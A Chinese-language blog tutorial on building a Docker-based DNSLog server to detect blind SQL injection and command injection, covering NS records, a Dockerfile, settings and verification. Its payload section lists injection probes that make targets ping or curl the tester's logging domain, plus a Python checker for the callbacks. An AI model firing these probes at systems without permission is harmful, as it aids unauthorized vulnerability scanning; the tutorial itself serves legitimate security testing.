0x0、域名和配置
准备两个域名 shystartree.com & shystartree.xxx
shystartree.com作为NS服务器域名,增加两行dns记录:1
2A ns2 默认 198.44.172.25 -- 10 分钟 --
A ns1 默认 198.44.172.25 -- 10 分钟 --
shystartree.xxx用作记录域名,此时我并不是增加dns记录(直接增加dns记录会失灵,不知啥回事),而是直接修改dns服务器
修改shystartree.xxx域名的DNS服务器为:ns1.shystartree.com、ns2.shystartree.com
生效时间可能需要48小时,请耐心等候
0x1、文件准备
dockerfile内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16FROM ubuntu:14.04
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update -y && apt-get install -y python && apt-get install python-pip -y && apt-get install git -y
RUN git clone https://github.com/bit4woo/DNSLog
WORKDIR /DNSLog/dnslog
RUN pip install -r requirements.pip
COPY ./settings.py /DNSLog/dnslog/dnslog/settings.py
COPY ./start.sh /DNSLog/dnslog/start.sh
RUN chmod +x start.sh
CMD ["./start.sh"]
EXPOSE 80
下载 dnslog/dnslog/settings.py 并对如下字段进行对应的修改,保存settings.py:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# 做dns记录的域名
DNS_DOMAIN = 'shystartree.xxx'
# 记录管理的域名
ADMIN_DOMAIN = 'admin.shystartree.xxx'
# NS域名
NS1_DOMAIN = 'ns1.shystartree.com'
NS2_DOMAIN = 'ns2.shystartree.com'
# 服务器外网地址
SERVER_IP = '198.88.188.88'
创建一个dnslog的启动脚本,保存为start.sh:1
2#!/bin/bash
python manage.py runserver 0.0.0.0:80
0x2、构建docker
准备上述的三个文件dockerfile、settings.py、start.sh 执行下面的命令1
2
3
4
5
6docker build .
docker tag e99c409f6585 bit4/dnslog
docker run -d -it -p 80:80 -p 53:53/udp bit4/dnslog
docker exec -it container_ID_or_name /bin/bash
./start.sh
执行完后,默认已经开启dnslog服务器了
0x3、配置验证
使用nslookup命令进行验证,如果可以直接测试xxx.test.shystartree.xxx了,说明所有配置已经全部生效;如果直接查询失败,而指定了dns服务器为 ns1.shystartree.com查询成功,说明dns服务器配置正确了,但是ns记录的设置需要等待同步或者配置错误。
nslookup输入:1
2
3xxx.test.shystartree.xxx
server ns1.shystartree.com
yyy.test.shystartree.xxx
也可以ping下test.shystartree.xxx,打开 admin.shystartree.xxx看看是否有记录
0x4、payload使用技巧
linux&windows通用:ping -n 3 xxx.shystartree.xxx || ping -c 3 xxx.shystartree.xxx
linux: curl xxxxxxxxxxxx.shystartree.xxx
windows: start http://xxxxxxxxxxxx.shystartree.xxx
0x5、使用payload检测漏洞
检测命令注入或盲注漏洞的时候,会生成一串md5字符串,即find_str,然后访问dnslog后台看是否有对应的md5字符串记录,有即存在漏洞1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# 确定命令注入是否存在
def verify_conmand(dnslog_server, find_str):
dnslog_server = dnslog_server.replace("test.", "")
token = get_token(dnslog_server)
get_dnsurl = "http://%s/apiquery/dns/test/%s/" % (dnslog_server, token)
get_weburl = "http://%s/apiquery/web/test/%s/" % (dnslog_server, token)
res_dnsapi = requests.get(url=get_dnsurl).content
res_webapi = requests.get(url=get_weburl).content
if res_webapi.count(":") > 0 and res_webapi.count("{") > 0 and res_webapi.count("}") > 0:
getwebapi = json.loads(res_webapi)
if getwebapi['status'] and find_str in getwebapi['content']:
return True
if res_dnsapi.count(":") > 0 and res_dnsapi.count("{") > 0 and res_dnsapi.count("}") > 0:
getdnsapi = json.loads(res_dnsapi)
if getdnsapi['status'] and find_str in getdnsapi['content']:
return True
return False
参考文章:
使用docker搭建dnslog服务器
本文链接: http://dayun.shystartree.online/2018/02/28/%E6%90%AD%E5%BB%BAdnslog%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A3%80%E6%B5%8B%E7%9B%B2%E6%B3%A8%E5%92%8C%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5/
版权声明:本博客所有文章除特别声明外,均采用知识共享署名-非商业性使用-相同方式共享4.0国际许可协议许可协议。欢迎转载,但转载请注明来自qingyu’s blog,并保持转载后文章内容的完整,本人保留所有版权相关权利。